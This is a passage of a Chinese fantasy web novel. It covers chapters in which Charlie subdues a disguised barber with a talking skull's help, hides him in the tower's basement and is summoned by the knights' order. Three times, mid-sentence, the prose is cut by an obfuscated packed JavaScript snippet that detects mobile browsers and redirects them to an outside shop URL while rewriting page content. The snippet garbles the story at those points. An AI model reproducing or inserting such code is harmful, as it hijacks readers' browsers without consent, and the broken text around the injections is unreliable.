查理还开始怀疑,智者手里那本《魔法指南》,究竟是哪儿来的?本说它是邪典,但它确实有用,而且作者是松塔主人的朋友…… 如果这本书的来历有问题,那骑士团找上他也只是时间早晚。 不过……要是对方真的找上松塔,或许他可以从骑士团那里知道松塔主人的姓名? 不,冒险打听似乎还是太危险了。 瞬息之间,查理想了很多。可能因为想得太多了,隐隐约约又有点头痛,他深吸一口气,抬脚往松塔的方向走。 冷风吹拂,他打了个哆嗦,下意识地拢了拢袍子。 灰帽街上依旧没什么人,刚才走过时还亮着的烛火,此刻都已熄灭了大半。发生在另一条街上的事情,并未惊扰到他们。 查理最后一次回望魔法时钟,此刻是晚上九点四十四分。 推开松塔的门,塔内看起来一切如常。 查理生了火,拿出还有些温热的鹿肉馅饼,重新烤了烤,再倒半杯蜂蜜酒,就着美味的宵夜,长舒一口气。 等到半杯酒喝完,一个鹿肉馅饼也下了肚,他又就着火光,取来《魔法指南》开始看书。他不多话,只是静静地看,看着看着,眼皮就开始打架。 不知过了多久,他的手一松,手里的书要掉不掉。脸色仍然稍显苍白,裹着披风,看起来还有些许畏寒。 厨房里,慢慢地只剩下了木炭燃烧的声音,还有轻微的呼吸声。当宁静与祥和开始主宰这片空间—— “啪。”书掉在了地上。 与此同时,一把匕首也抵在了查理的脖颈。 火光中,那匕首倒映着寒芒。 查理被那冰冷的触感惊醒,刚要动,肩膀便被人牢牢按住。一个刻意压低了的男声从身后传来,“亲爱的客人,治疗期间请不要乱动。” 理发师! 查理心惊,脸上是掩饰不住的错愕,那双淡绿色的眼睛微微瞪大,似乎企图从火光里看到那人的倒影,“你……” “嘘。”理发师微微俯身,语气含笑,“给身体的不同部位放血,效果可是不一样的。” 查理艰难地咽了口唾沫,“你想干什么?” 理发师笑着,“借你的地方躲一躲。你应该去过店里了,不是吗?” “我刚才在橡树酒馆,看见黑甲骑士团的人也过去了。” “所以,你要通知他们吗?” 查理可以肯定,如果他敢大声呼喊,那把匕首就会割开他的喉咙,让鲜血堵住气管。而这时,理发师又道:“你比我想象得要镇定。” “整个灰帽街都叫我妄想家,很多人因此嘲笑我,我如果一遇到事情就惊慌失措,现在已经滚出玛吉波了。”查理并不打算一味示弱,对于真正的歹徒来说,示弱也许只会激起他凌虐的恶趣味。 而他也从不认为,以前的那个查理是个弱者。他能在勋爵庄园平安长大,人来到玛吉波,顶着所有人不看好的目光,在一次次被拒绝后重振旗鼓,就绝不是个懦夫。 理发师没有回话,似乎在重新审视他。 他能感受到手掌之下,从查理肩膀上传来的轻微的颤动。查理还在害怕,他的心跳得很快,脆弱的脖颈看起来一折就断,不过——胆识不错。 “你如果愿意配合,我可以不杀你。”理发师轻轻动了动手腕,刀刃贴着查理的脖颈,再往上,迫使他抬头。 一缕金发落下来,拂过匕首,转瞬即断。 金发落地的刹那,查理也终于看到了他的脸,瞳孔皱缩——那是自己的脸,跟自己一模一样的脸! 甚至还有同样的金发! 理发师似乎很满意他的表情,笑了笑,说:“或许,凭你这张脸和你的胆识,你很适合做一个出其不意的刺客,而不是魔法师。” 电光石火间查理明白过来了,不管这位理发师会的是魔法还是魔术,他必定是用什么特殊手段伪装成了自己。 他在松塔,伪装成自己,是想要借自己的身份做什么? 查理心中警铃大作,拳头悄悄攥紧,声音干涩,“你是刺客?” 理发师语气轻松,“谁知道呢?” 查理定了定神,再问:“究竟发生了什么,能告诉我吗?” 理发师饶有兴致地反问:“你就不怕知道得越多,死得越快?” 查理的心跳得很快,思路却异常清晰,“智者的那本书已经把我牵扯进来了,骑士团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612994|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早晚会找上我,你还易容成我的脸。就算你最终放过我,我还能置身事外吗?我也许不能成为一个魔法师,但我也不想做一个糊涂鬼。” 理发师终于收回匕首,“绝妙的理由,但很可惜,你还没有跟我谈条件的资格。” 语毕,他从兜里掏出一个透明的小玻璃瓶扔过去,“把它喝了,我就放过你。不过别担心,它不是毒药,只会让你做个悠长的美梦,等梦醒了,也许事情就都结束了。” 查理接住瓶子,目光又回到理发师身上,“一定要喝吗?” 理发师把玩着匕首,“我想我说过了,你没有跟我谈条件的资格。” “是吗。”查理轻声呢喃,盯着瓶子,眼眸微垂。 理发师看到这幅样子,实在好奇得很,这个年轻人是如何能随时随地露出这种可怜表情?如果换个场景,他或许还会有一些怜香惜玉的…… 蓦地,背后传来破风声。 理发师神色微变,正欲回防。 可就在这时,查理倏然暴起,一把抓住身上那件未曾脱下的长袍甩过去。长袍就像一张大网,兜头遮挡住理发师的视线,让他的世界刹那间陷入黑暗。饶是机敏如理发师,都不由得着了道。 该死。 理发师咬牙,下一瞬,他的匕首划破长袍,但他背后那个破风而来的东西,也狠狠砸在了他的后脑勺。 另一边,查理根本没停,在甩出长袍的同时一脚踹向他的腿弯,还顺手抄起了椅子。在理发师气得发出杀招的同时—— “咔!”查理将椅子狠狠砸下,带着前所未有的决绝。 理发师闷哼倒地,随他一同掉落的还有满地的柳叶刀。若是查理晚出手一秒,那些刀就能将他捅成马蜂窝。 “咳、咳咳……”查理猛烈地咳嗽起来,刚才用了太大的力气,他最近又消耗过度,实在有些勉强。 还好,出其不意的战斗总是结束得很快。 好不容易缓过一口气,查理看了一眼已经昏迷的理发师,强撑着去检查他的身体,发现他身上早有伤口。 看来理发师店内的打斗是真的,一方面他受了伤,另一方面,他过于轻敌,这才栽在查理手上。 本的骷髅头滚过来,作为痛击理发师后脑勺的帮凶,他迫不及待地问:“你怎么知道,你离开以后,会有人过来呢?” “刚开始我只是留一个心眼。” 不管那位骑士队长是否多疑,查理是多疑的。 “后来我发现,理发师不见了,我才真正开始猜测,塔里可能会来人。理发师的店里,有打斗的痕迹,镜子和壁钟都有不同程度的破损,而我抵达店外时,战斗应该刚刚结束。而这片区域有黑甲骑士团的人盯着,贸然跑出去,太显眼了。如果想避避风头,人会藏在哪里?” 那个时间点,家家户户都可能有人,唯一可以确定没人的是——松塔。 因为查理正在赴约。 只是没有人会想到,废弃了那么多年的怪塔,真的是一座法师塔,塔内还有一具会说话的骷髅。 查理出门前,曾和本约好,如果他回来时,塔内发生了什么变故,那本就会保持静默。而查理回来后,果然没有再听到本的声音。 查理垂眸,露出那样的表情,则是攻击的讯号。 幸运的是,他们的初次配合还算不错。 “他来过卧室,翻了你的书,还想去四楼,可吓死我了。不过他不会开门的魔咒,没进去,后来他就藏到布草间里了,你在看书的时候,他就一直在后面偷偷盯着你。” “看着看着,就变成你的样子了,可怕。” 10.平安夜 查理等了好一会儿,理发师的脸都没有变回去。他仔细察看,也没有发现任何人皮面具存在的痕迹。 他的心不由往下一沉—— 如果说理发师还是理发师,那他或许可以把人交给骑士团。方才出手他刻意用外袍罩住了理发师的眼睛,本的骷髅头没有暴露,也就不会泄露松塔和复活的秘密。 在这座魔法圣都,人人都崇尚魔法,类似于法师塔的塔状建筑并不少,甚至有许多人为了感受魔法的熏陶,特意选择类似的建筑居住。所以在外人眼中,甚至灰帽街居民的眼中,松塔只是座废弃已久的破塔,并不会招来多少怀疑的目光。 可现在,他要如何证明,我才是我自己? 骑士团值得信任吗? 事情的棘手程度顿时又上了一个台阶。 查理微微蹙眉,迅速将他全身上下仔仔细细都搜了一遍,但遗憾的是,他身上没有携带任何能够证明他身份的物件,只有一些武器和不明用途的小药瓶,且都没有明显标识。 沉思片刻,查理忽然好奇地问本:“如果是你的主人遇到这种情况,她会怎么处理?” 本想了想,原本以为自己又想不起来的,谁知道一下就想起来了,立刻兴奋嚷嚷:“我知道,我知道,放进坩埚里煮啦!” 查理:“……好煮意,不过目前来说我还做不到。还有别的办法吗?” 本:“那就……丢进地下室存着?” 查理愣住,“这里还有地下室?” “有啊。”本挪动自己的骷髅头,看向了壁炉,“你把手伸进去,在壁炉内部的墙壁上,有一个小骷髅头,转一下就打开啦。” 查理依言照做,果然摸到一个很小的巴掌大小的骷髅头。转动之后,壁炉旁的石砖打开,露出了向下的通道。 地下室里空空如也,虽然阴暗,但并不潮湿,空气也是流通的。查理仔细检查了片刻,确定这里能藏人,便将理发师搬了过来。 最后,他看着昏迷不醒的理发师,不知想到了什么,又将刚才理发师给他的那瓶药,干脆利落地灌进了理发师自己的嘴里。 本:“这个真的不是毒药吗?” 查理:“他可以祈祷不是。” 紧接着,查理又找来绳子把理发师牢牢捆起,塞住嘴,用黑布蒙住眼睛。 下一步,清理现场。 “你在做什么?”本疑惑不解。 “经常杀人的朋友都知道,血迹一定要清理干净。”查理清理完之后,又顺手泼了点蜂蜜酒来掩盖血腥味,只当刚才那番打斗是自己不小心摔了一跤并打翻了酒瓶。末了,他转头又问:“魔法可以探寻到血迹吗?” 本被他问住,愣了半晌,看着他的动作,感叹道:“你好熟练哦。” 刚才砸人的动作也是呢,又快又狠。 查理把擦过血迹的布扔进壁炉里,看着火光将它吞噬,然后是散架了的椅子。 最后,他重新给自己倒了半杯酒,坐到厨房的另一把椅子上,微垂着眼眸,神色莫明。如果这里还有第二个人,仔细看,就会发现他的手还在轻微的颤抖。 他的心并不平静。 今天发生的一切再次提醒他,这里是托托兰多,而不是遥远的故乡。他面临着随时可能被杀死的风险,甚至也有可能杀人,无论是主动的还是被迫的。 最重要的是,尽管他的心情并不平静,但他好像……对这一切并不那么排斥。 骷髅头在他旁边乱窜,蹦跶了半天,终于被查理抱起来,拿出干净的帕子,帮他把头骨上的灰尘擦掉。 “你现在又在想什么呢?”本充满好奇。 “在想,是谁跟理发师动了手。” “哦。” “这条街上还潜藏着什么其他的危险分子么?” “嗯?” 本有点晕头转向,“到底有几个人?” 查理将骷髅头在自己的腿上摆正,手肘搭在椅子扶手上,支着侧脸,“世界上的人很多,买凶杀人都有可能被层层分包,更何况是在这看起来平平无奇,但好像暗藏玄机的灰帽街。” 本似懂非懂,这时,他听到查理问了他另一个问题,“是先有塔,还是先有的街?” 先有的塔,还是先有的街? 本怔住,他能感觉到,自己的灵魂之火好像在这一刻,发出了轻微的晃动。模糊的画面在他的记忆深处苏醒,他看到了阳光铺满的草地,看到了随风摇曳的白色的小花,看到了漂亮的裙摆。 啊,好怀念。 哪怕已经成为了一具骷髅,本好像也感觉到了一阵鼻酸。他隐约记得,那个时候,他的身上还有血肉,他还能听到风的呼唤,还能感受到阳光的温暖。 听,有人在叫他。 那是谁呢? 本想不起来了,灵魂之火又是一阵剧烈的晃动,让他久违地感受到了头疼欲裂,可他始终想不起来。 蓦地,一只手搭在了他的脑袋上,给予了他一丝丝温暖。 “想不起来就不要想了。”查理摸摸他的脑袋,等着他平静下来,随后拿起酒杯在他的骷髅头上轻轻一碰,“为我们的初次合作,干杯。” 本:“……” 真是个奇奇怪怪的人。 可是,真好。 又有人陪他说话了。 这一夜,查理独自思考了很久。黑夜中,好像有一双无形的大手在编织一张网,让他这个从异乡来的灵魂无法安眠。 他听见了灰帽街上响起的脚步声,听见了风的叹息和鸟儿的振翅,最终,又迎来一个日出。 隔壁的麦肯太太在向着初生的太阳祷告。 她总是起得这般早。 查理从床上苏醒,揉了揉眉心,下床洗漱。 他没忘记,地下室里还关着一个理发师,不过,他更在意的是,黑甲骑士团的人会在什么时候找上门来。 昨夜的调查有结果了吗? 查理照常开始冥想,三遍之后下楼做早餐。 今天的早餐是太阳蛋和培根西蓝花,查理慢条斯理地吃完,用食物的香气和饱腹感掩盖了自己一夜没睡好的死气,这才去地下室看理发师。他还昏迷着,呼吸平稳,但无论查理怎么尝试唤醒他,他都没有反应。 是昨天的药剂发挥效用了? 查理又检查了一下他身上的伤,原来的伤他自己处理过了,不甚要紧。被查理和本砸出来的伤在后脑勺,血已经止了,凝成了血痂。 一时半会儿应该也死不了。 不过查理也不想就这么稀里糊涂地杀人,既然理发师现在老老实实地躺着,暂时不会造成什么威胁,那替他包扎一下也未尝不可。 等到一切忙完,查理的脸又白了一分。 本看他是越看越像死灵法师了,不由暗自叹气,真可惜,他不愿意。 “接下来要做什么?”他问。 “等。”查理缓步往楼下走。 路过楼道的窗户,他往街上看了一眼。今天的灰帽街似乎跟平常没什么两样,结伴的妇人挎着麻布盖着的篮子,正有说有笑地往集市旁的公共烤炉走。 本骨碌碌滚在他脚边,还想再问,但查理没有再回答。 查理擅长等待。 不管是小时候觉得时间过得很慢,等待夕阳的陷落,还是长大之后等待着太阳的升起,他都知道——不能着急。 第一个上门的会是谁呢? 哦,是杰弗里。 善良又热情的杰弗里从街坊邻居的嘴里得知查理身体欠佳,又听闻理发师失踪了的消息,大中午地从鞋匠铺跑回来,跑出了一脑门的汗。 “嘿,查理,你没事吧?” “我没事,杰弗里,不用担心。” 杰弗里可不信,但他不是医生,没法帮查理疗伤,也只能挠挠头,叮嘱查理多休息。末了,他又一拍脑瓜子,道:“差点忘了,我是出来买东西的。前些日子老鞋匠接了个猎鹿靴的大单子,要赶工运往王城呢。” “王城?”查理记得王城离这儿并不近,“你们经常接到王城的订单吗?” 杰弗里摇摇头,“是位贵族老爷订的,大约又是要办什么狩猎会吧。有时我真是搞不懂他们,老鞋匠说,那猎鹿靴都是用的顶好的料子,但根本不适合打猎。” 查理福至心灵,“那它肯定很好看。” 杰弗里大点其头,他心里觉得,查理肯定很适合穿上那猎鹿靴,只是他作为一个学徒,可没法大方地送他一双。 送走杰弗里,查理若有所思地回到松塔,只是还没等他坐下,又有人敲门。这一次来的,是那位有过一面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628070|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之缘的圆脸骑士。 黑甲骑士团,终于来了。 “午安,查理·布莱兹先生。请允许我做一个自我介绍,乔治·伍恩,隶属于玛吉波城黑甲骑士团。”乔治咧嘴一笑,那身沉重的黑色铠甲在那笑容和阳光的映衬下,仿佛也变得轻盈起来。 “你……有事吗?”查理问。 “是这样的。昨天我们在集市上以盗窃罪逮捕了一名自称智者的女士,她手里卖出去的东西,很有可能是赃物。根据我们得到的线索,你在几天前从她那里买过一本书,是吗?”乔治问。 “那也是赃物?”查理稍显犹豫。 “暂时还不确定,要进一步核实。不过你不用担心,即便是赃物,也不是你的问题,你只需要配合我们就好。”乔治一口大白牙,晃得查理眼花,“可以把那本书交给我,让我带回去核查一下吗?” 查理想了想,终是点头,“好吧。” 他回去取来了书,但递过去时却没有撒手,“如果不是赃物,书……能还我吗?” 乔治看了眼那本破破烂烂到没眼看的书,有些好奇,“这书有什么特别的吗?” 查理直视着他的眼,坚定盖过了一切情绪,“我想成为一个魔法师,这可能是我最后的机会了。” “最后的机会?就这书?”乔治想笑,憋了几秒,还是忍不住笑了出来。 不过他可是个正直又善良的好骑士,怎么能随随便便笑别人呢,遂又止住笑,冲查理眨眨眼,“好吧,尊敬的未来魔法师先生,如果最后证明这本书不是赃物,我会向上申请,把它还给你的。再见。” 语毕,乔治挥手离开。 查理站在门口,望着自己唯一的教材远去,忧郁叹气。他其实在说真话,为什么不信呢? 已经远去的乔治则边走边翻看他的教材,看到第三章屠龙时,不禁怀疑那个可怜的小查理是不是脑子真的坏掉了。 也许他去找理发师治病,治的是脑子里的病? 松塔里,本正在对查理发出提问,“你不是要跟着那本书学习魔法吗?就这么给出去了,万一拿不回来怎么办?” 查理回去继续做早餐,平静作答:“这本书不厚。” “嗯?” “昨天晚上看书的时候,我把它背下来了。” 本用自己的骷髅脑袋好好想了想,这才理顺了思路。这个人是昨天已经猜到书会被收走,所以提前背下来了? 还可以这样吗? 好像是可以的哦。 本不知想到了什么,咯咯咯地又发出一串银铃般的笑声。 查理:“……” 以前他看到“银铃般的笑声”这个形容时,还会想,真的有人会这样笑吗?来到了托托兰多之后,他明白了——只要你死了,化作骷髅,就可以。 接下去的时间,风平浪静。 查理度过了一个宁静的下午,灰帽街上,连孩童的嬉闹声都隐入尘埃,只有来日常巡逻的松鼠,抱着松果站在窗台上,“吱吱”怪叫,歪着头一遍又一遍确认查理的生死。 “铛——” 当圣钟再次敲响,夕阳开始被远方的山脉吞没,隔壁的麦肯太太好心送来了香喷喷的烤苹果派。 查理礼貌谢过,等到自己的晚饭做好,便回赠了一碗炖野兔肉。 麦肯太太家的猫给他开的门,绕着他的裤腿嗅了嗅,似乎在确认他有没有被魔鬼附身,又好奇于这个人类为何长着跟它颜色一样的眼睛,打量许久,才将他放进去。 瞧那尾巴高高翘起的模样,傲娇十足。 麦肯太太收到了查理的回礼,很高兴。而查理也从麦肯太太这里,知道了有关于理发师失踪事件的后续—— “他啊,都在说他惹了风流债,连夜逃出玛吉波了呢。” 风流债? 这走向,倒是有点出乎查理的预料了。不论是智者疑似因偷盗被捕,还是理发师惹上风流债连夜出逃,都像是在用小事掩盖大事,刻意隐瞒着什么。 事情变得越来越复杂,也越来越有意思了。 查理不知道这流言究竟是哪儿传出来的,也没有打破砂锅问到底,礼貌地跟麦肯太太和她的猫告别,而后回到了松塔。 又是一个夜晚降临。 今夜,似乎是个平安夜。 11.新的流言 翌日,一个新的谣言开始在灰帽街流传。 怪塔里的妄想家查理之所以总是一副忧郁模样,肯定是因为他多吃了兔肉。因为此时的医生认为,食用野兔可能会导致失眠和忧郁。 哦,可怜的小查理。 这个走向,是查理始料未及的。他购买兔肉,只是因为它相较于其他的肉类来说,比较便宜,而他剩下的金币不多,得省着点花了。 那么谁知道他吃了兔肉? 当然是收到了炖兔肉作为回礼的麦肯太太。善良的麦肯太太,她唯一的缺点就是太八卦了,满街都是她的二级情报贩子。 至于卖肉的商贩?他们最痛恨这样的谣言,就像卖酒的商人从不认可喝酒伤身一样。 灰帽街,今天又是热闹的一天呢。 偷盗的智者、风流的理发师,以及忧郁的小查理,三分天下,成为了大家餐桌上热议的对象。 没有人知道,忧郁小查理正在给风流理发师理发。 只有本,见证了一切的本,骷髅头套在旁边的蜡烛上,以一个“我□□自己、让自己发光发亮”的方式,看着他,再次化身十万个为什么,问:“你为什么要剃掉他的头发?” 查理信口回答:“做一顶假发送给你。” 本:“真的吗?” 闻言,查理转头看到他眼眶里燃烧着的“熊熊火光”,平静点头,“真的。” 本很惊喜,“那我们就有一样的头发了!” 不多时,风流理发师变成了一个光头。幸运的是,他还没有醒来,暂时不用面对这样残酷的现实。 查理看着手里的金发,再次确定,自己没有办法通过外力去解除理发师的伪装。毕竟就连这头发,被剪下来之后,也没有恢复到初始状态。 不过理发师的初始状态,也就是说他原来的脸,是什么样的呢? 他真的是理发师吗? 还是某个人,潜入玛吉波,伪装成了理发师,再企图伪装成查理?如果是这样,那真的理发师在哪里? 他还活着吗? 查理的猜测暂时得不到答案,看着仿佛沉浸在睡梦中无知无觉的理发师,他开始思考另一个棘手的问题—— 他不可能一直让理发师待在这里。 本就没有这样的烦恼,他目光灼灼地盯着查理手中的金色长发,只想要赶快拥有。查理这便带着他回到上面,开始制作假发。 可假发该怎么做呢? 饶是心灵手巧如查理,此刻都犯了难。 突如其来的敲门声拯救了他,他略表歉意地摸摸本的头,让他藏好,这便起身开门。本虽然很遗憾,但也乖乖地滚到一边。 门外站着一个陌生的中年男子,小腿上绑着一圈又一圈的红色布带,代表他是个专业跑腿的。或者说,是个职衔最低的传令官。 他来通知查理,可以去骑士团领取他的书了。 说完,传令官就不耐烦地跑了,似乎对灰帽街这个全是平民的地方很是不喜。 查理甚至都来不及问他,案子已经查清了吗?命令是谁下达的?如果只是还书,为什么不直接让传令官把书带来,而要他自己过去?是有什么特殊的用意,还是单纯只是有手续要办? 怀着这样的疑问,查理敲开了隔壁麦肯太太的门。这位富有生活智慧的邻居,或许会给可怜的小查理一点建议。 麦肯太太知道他要去骑士团,顿时夸张地掩住了嘴,“哎呀,小查理,虽然我很想叫你不用害怕,可我也没有去过呢。倒是他们在城外的庄园,跟我们灰帽街有些生意上的往来。” 查理顺着她的话往下问,“什么生意?” 麦肯太太知无不言言无不尽,“什么生意都有,老鞋匠的靴子、比格工坊的玻璃,哦对了,今年的雪季格外长,粮价涨了不少,那些骑士老爷倒是慷慨,卖了一些粮食出来,我也买过一些,价格公道,还不是陈粮……” 查理闻言,对于黑甲骑士团的行事作风也有了一个大致的印象。 末了,麦肯太太又想起件事来,乐呵呵地建议他:“我想起来有个熟人在里面当见习骑士了,你要是碰到麻烦,说不定能找他帮忙。就是小杰弗里家邻居的远房亲戚的侄子,很憨厚的一个小伙子。” 查理听着这七拐八绕的关系,只得感叹,无论在哪个世界都免不了攀关系、讲人情。 拜别麦肯太太,查理回到松塔稍作准备,又跟本叮嘱了几句,确定自己没什么遗漏的了,这才出门踏上骑士团之行。 骑士团在城外的庄园属于领地,而他们平日里的办公场所,在玛吉波城南区的翡翠街22号。 玛吉波城很大,从位于西区的灰帽街到翡翠街22号,需要去街头坐车。十铜币可以坐马车,五铜币坐普通的板车。当然,如果你够幸运,也可以搭上正好路过的货车,只需要一到两个铜币,大方的商人或者赚外快的车夫就会允许你坐一坐。 查理不想在路上花费太多时间,便花十铜币坐上了马车。今天他运气好,车上只有他一个乘客。 半个小时后,翡翠街22号。 查理抬头看着眼前的这栋庄严肃穆的白色教堂式建筑,那高高的门扉,还有飘扬的骑士团旗帜,还没进去,就已经让人倍感压力。 事已至此,他也只能硬着头皮上。走到门口的护卫面前,说明来意,对方上上下下扫了他一眼,手都没从剑柄上拿下来。只是往旁边一指,示意查理自己进去。 这让查理感觉有点奇怪,看起来纪律森严的地方,管理尽然如此松散吗? 抱着这样的疑问,查理走进了大门。 刚开始站在外面看时,他觉得那门扉高大,有四五米高,走进来之后,他才知道,这22号的穹顶更高。人行走其中,很容易产生自我渺小之感,无论是墙壁上交叉悬挂着的旗帜,还是身穿盔甲高举着长剑的雕像,都像在无声地审视着你。 “哒、哒……”脚步声在这空旷的地方产生回响,无论如何放轻都无法避免,堪称小偷噩梦。 查理虽然在家里藏了个人,但他一点也不心虚。第一次来这种地方,左顾右盼是人的本能,好不容易路过一个房间,发现几个人,他们却在吵架。 八卦也是人类的天性,所以他停下来听了一耳朵。 简而言之,绿帽侠要和情夫哥决斗,但本城律法规定,不得在未经许可的前提下非法决斗,必须前往骑士团进行决斗申请,还要邀请见证人,签生死状。 一般而言见证人都由骑士团指定,这两位大哥比较特别,他们选择的见证人是——旁边那位喊着“你们不要打啦”,实际上薄纱遮面、眉眼含笑的女士。 与此同时,二楼的队长室里。 还是那张办公桌,还是那个鹰眼如炬的萨洛蒙队长,负手站在窗前,回头发问:“灰帽街的那个小子来了?他一路上的表现如何?” 圆脸骑士乔治挠挠头,“挺正常的啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645054|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萨洛蒙:“他现在在做什么?” 乔治:“在楼下偷听别人吵架。” 萨洛蒙:“……” 那厢,三角小故事已经进展到绿帽侠与情夫哥互相指责、黑料齐飞。查理生怕他们打起来,溅自己一身,只得遗憾告退,继续往前。 几个骑士行色匆匆,查理想跟他们问路,也没能成功。从擦肩而过时听到的只言片语来判断,应当是城中某处的酒馆里又发生了械斗。 其中一个骑士咬牙切齿,说要把那帮“喝了几瓶酒就找不着东南西北的该死的佣兵”,摁进玛吉波的排水渠里洗洗脑袋。 查理走累了,眼看一时半会儿没人理他,便在墙边的长椅上坐下。 不一会儿,他看到一个身穿政务官制服、蓄着小胡子的中年男人,以及一个右眼戴着眼罩,穿着黑色双排扣外套,拿着手杖的年轻男人,从二楼走了下来。 他们走得并不快,那政务官比年轻男人走快半步,面露气愤,嘴巴一张一合在说着什么。可他的气愤似乎不针对那个年轻男人,而是说着并不在场的第三人。 那个落后半个身位的年轻男人,看起来好像对政务官很恭敬,但举手投足之间,反而像是对话的主导者。 这个人…… 查理稍稍收敛了自己的目光,透过楼梯上的罗马柱,小心窥探。 那年轻男人身材高大,虽是黑发黑瞳,但却是正统西方人的长相。鼻梁高挺,眼眸深邃,长发随意地束在脑后,十根手指戴了三枚戒指。最惹眼的,无疑是拿着手杖的右手大拇指上,那枚鸽子蛋大小的祖母绿宝石戒指。 仔细看他的手杖,黑色的宝石也有种低调的奢华。 财富的光芒差点闪瞎查理的眼。 他沉默地收回目光,继续坐在那儿当一个忧郁的查理。恰在这时,一个见习骑士急匆匆走过来,询问他的名字。 “查理,我叫查理·布莱兹,来自灰帽街,是接到通知,来这里取我的书的。” “那你跟我来吧,先做一个小检查。” “检查?” 查理迈出去的脚顿住,面露疑惑。 见习骑士答道:“别担心,只是例行检查。你是外来户,又不小心牵扯进了案子里,所以需要完善你的资料,对你的实力进行一个综合评估,魔法和剑术都需要。” 魔法?水晶球? 查理不敢确定,自己现在触摸水晶球,它会给什么反馈。如果直接暴露出他现在的魔法水平,那…… 归根结底,查理不知道骑士团对松塔的秘密知道多少。万一查着查着,“复活”的老底被揭了,那玩笑可就大了。 可现在该怎么办? 电光石火间,查理思考了很多。但他知道自己不能拖得太久,刚要说话,便听身后忽然响起一个含笑的声音。 “查理?那个一心想要成为魔法师的灰帽街的查理?” 查理回头,只见那个戴着眼罩的男人,正靠在楼梯扶手上,低头看他。身旁的政务官有些诧异,“维克先生认识他?” 维克勾起嘴角,“略有耳闻。您也知道,我与明多塔的那位是忘年交,从他那里听说过一些。” 明多塔。 查理一听这名字,就知道是一座法师塔,但好像并不在查理去过的法师塔名单里。奇怪。 “你来这里做什么?”维克饶有兴致地看着查理,不等他问,又继续说道:“不学魔法,改学剑术了?” 12.珠宝商人 查理确定以及肯定,这个叫做维克的人,跟他有点——气场不和。 见习骑士要带查理去做检查,维克却以“感兴趣”为由,要求旁观。任谁都看得出来,他是在看查理的热闹,见习骑士面露为难,那政务官便发话了。 “怎么,只是例行检查而已,还不能看了?骑士团好大的威风。”他似乎是把心里的火,都借机发了出来。 政务官直属城主,而见习骑士连贵族的边都还摸不到,自然不敢反驳。于是,只是一个例行检查,查理却多了两位预料之外的旁观者。 其实查理心里还是没底的,不知道是不是可以自己控制触发水晶球的亮度。如果实在不行,那他会选择主动曝出——魔咒的秘密。 毕竟查理会知道自己身中魔咒,就是最后一座法师塔里的大法师告诉他的。已经被外人知道的秘密,就不算是秘密了。 有了这个解释,他的元素感知能力逐日提升,也很正常,且不算撒谎。 “请。”来到检查室,见习骑士拿出了水晶球,让查理把手放上去。 查理照做,闭上眼,仔细控制着感知到的魔法元素的数量,再睁眼,欣喜地发现水晶球只散发出微弱的光芒。证明他具有一定的元素感知力,但还没到入门的门槛。 至于剑术的检查,就更简单了,见习骑士随便试了查理几招,就知道他是个手无缚鸡之力的体弱青年。 “可以了。”见习骑士把记录的羊皮纸卷起,收好,“跟我来吧,萨洛蒙队长要见你。” 查理点点头,跟在他身后。路过站在墙边的维克和政务官时,见习骑士朝着政务官行礼,政务官对此依旧没个好脸色,而维克的目光,依旧落在查理的身上。 “真令人遗憾。”维克嘴角含笑。 这么近的距离,查理甚至能看到他敞开的领口里的银制项链。那一瞬间,仗着高小半个头的身高优势,低头看着查理的维克,是气势外放的。那种无端的压迫感,让查理心生逆反,但下一瞬,那种压迫感又像阳光下的初雪,消失得无影无踪。 查理再看他,他已经跟政务官聊起来,并且往外走了。几句话说得对方笑逐颜开,颇有点狼狈为奸的意味。 等到双方分开,查理装作好奇地小声询问:“那两位先生是谁?” 见习骑士在政务官那里受了气,对查理的态度倒是好了起来,“城主的应声虫,和来自帕托城的黑心珠宝商人,呸。” 珠宝商人? 难怪满身的珠宝。 查理走上通往二楼的台阶,再次回头看了一眼。只见那两人已经走到了大门口,从查理的视角,还能看到侍从上前为那位商人披上华丽的斗篷。 跟他的斗篷一比,查理的外袍像村长家的过年礼服。 二楼,走廊尽头的办公室里,查理终于再次见到了那位有着一双鹰眼的骑士队长。 还是那凌厉的、带着审视的目光,哪怕有了心里准备,也让人难以招架。查理可不想在这个时候表现什么英勇无畏,垂下眼眸,不看就是。 萨洛蒙并未紧盯不放,开门见山道:“说说你从智者手里买书的情形吧,从头开始说。” 查理想了想,这才开始说:“大概十天前,她在集市上主动拉住我,跟我推销那本书。她知道我想成为魔法师,整个灰帽街的人都知道,那本书可能也只有我会买。刚开始她开价十二个铜币,我还到了十个。集市上很多人都看到了,我买了书之后就回家,后来再也没见过她。” 萨洛蒙追问:“你有在她那里看到其他的东西吗?” 